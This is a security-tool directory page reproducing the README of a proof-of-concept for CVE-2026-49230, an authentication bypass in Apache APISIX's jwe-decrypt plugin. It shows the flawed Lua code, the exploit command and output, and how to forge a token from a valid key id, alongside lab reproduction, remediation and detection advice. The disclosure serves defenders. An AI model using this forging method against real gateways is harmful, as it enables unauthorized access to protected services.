Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass — PoC for CVE-2026-49230: Apache APISIX jwe-decrypt authentication bypass (missing AES-GCM tag validation, CWE-354, CVSS 9.1) | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-49230-apisix-jwe-decrypt-auth-bypass
Payload GenerationVulnerability AnalysisExploitationWeb SecurityCryptographyPenetration TestingAuthenticationAPI Security

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
biitts/cve-2026-49230-apisix-jwe-decrypt-auth-bypass

CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass

PoC for CVE-2026-49230: Apache APISIX jwe-decrypt authentication bypass (missing AES-GCM tag validation, CWE-354, CVSS 9.1)

View Repository
12 months agoNot yet reviewed
Share

CVE-2026-49230 — Apache APISIX jwe-decrypt Authentication Bypass

Proof of concept for an authentication bypass in the Apache APISIX jwe-decrypt plugin. The plugin decrypts a JWE token and forwards its plaintext to the upstream, acting as an authentication gate — but it never validates the AES-GCM authentication tag. A token that merely carries a valid consumer kid is accepted no matter how bogus its ciphertext and tag are, so an attacker who knows any consumer key — which travels in cleartext in the header of every legitimate token — passes the gate without knowing the AES secret.

CVECVE-2026-49230
ProductApache APISIX (jwe-decrypt plugin)
Affected3.8.0 – 3.16.0
Fixed3.17.0
ClassCWE-354 — Improper Validation of Integrity Check Value
CVSS 3.19.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
AuthUnauthenticated (needs a valid consumer kid, not the secret)
Published2026-06-19
StatusCONFIRMED — reproduced end-to-end on 3.16.0; rejected on 3.17.0

Root cause

apisix/plugins/jwe-decrypt.lua (tag 3.16.0):

root@kitploit:~
local function jwe_decrypt_with_obj(o, consumer)
    ...
    local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
    return decrypted                 -- returns ONE value
end

function _M.rewrite(conf, ctx)
    ...
    local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
    if err ~= nil then               -- err is ALWAYS nil -> dead guard
        return 400, { message = "failed to decrypt JWE token" }
    end
    core.request.set_header(ctx, conf.forward_header, plaintext)   -- request passes
end

aes:decrypt() returns nil when the GCM authentication tag does not match, but that return value is discarded and the caller inspects a non-existent err, which is always nil. The integrity check is therefore never enforced: any JWE with a resolvable kid is authenticated. The AES secret — the only thing an attacker is not supposed to have — is never actually needed.

The fix in 3.17.0 propagates the error (return decrypted, err) and switches the guard to if not plaintext then return 400. The same fix also removes the plugin's public GET /apisix/plugin/jwe/encrypt token-minting API.

See ANALYSIS.md for the full code-level walkthrough.

Exploit

root@kitploit:~
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
root@kitploit:~
[*] consumer kid  : alice-key  (NO AES secret used)
[*] forged JWE    : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token           -> HTTP 403  {"message":"missing JWE token in request"}
[2] forged JWE token   -> HTTP 200  UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.

The forged token is base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Only the header (with a valid kid) matters; everything after it is attacker-chosen junk.

Reproduce

root@kitploit:~
cd lab
./setup.sh                 # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh   # same test rejects on the patched build
./teardown.sh

This environment has no Docker bridge, so the lab uses --network host (etcd on :2379, APISIX data plane :9080, admin :9180, backend :8080).

Discriminant results (rules out false positives)

Request3.16.0 (vulnerable)3.17.0 (patched)
no token403 missing JWE token—
malformed token (<5 parts)400 JWE token invalid—
invalid kid + garbage crypto400 invalid kid—
valid kid + garbage crypto200 upstream reached400 failed to decrypt

Every control except the GCM integrity check is enforced, and the identical forged token flips from 200 to 400 across the fix boundary — the bypass is specifically the missing integrity validation, not a misconfigured route. Full transcript in EVIDENCE.txt.

Impact

Any upstream that trusts APISIX's jwe-decrypt gate for authentication can be reached by an unauthenticated attacker who possesses a single valid consumer kid. Because a valid kid is exposed in cleartext inside the JWE header of every legitimately issued token, one captured or leaked token — or a guessable consumer key — is enough to forge unlimited accepted tokens and bypass the gateway's authentication boundary.

Remediation

  • Upgrade Apache APISIX to 3.17.0 or later.
  • Until then, do not rely on jwe-decrypt as the sole authentication control; layer an independent auth plugin (e.g. key-auth/jwt-auth) or an upstream check that validates the forwarded identity.

Detection

Requests that authenticate through jwe-decrypt yet forward an empty/absent identity header to the upstream (decryption silently produced nil) are a strong signal. Watch for Authorization: Bearer <jwe> requests that pass the gateway while the upstream receives no usable forwarded header.

Credits

Research and PoC by Caio Fabrício (@BiiTts).

License

MIT — see LICENSE.

Download Tool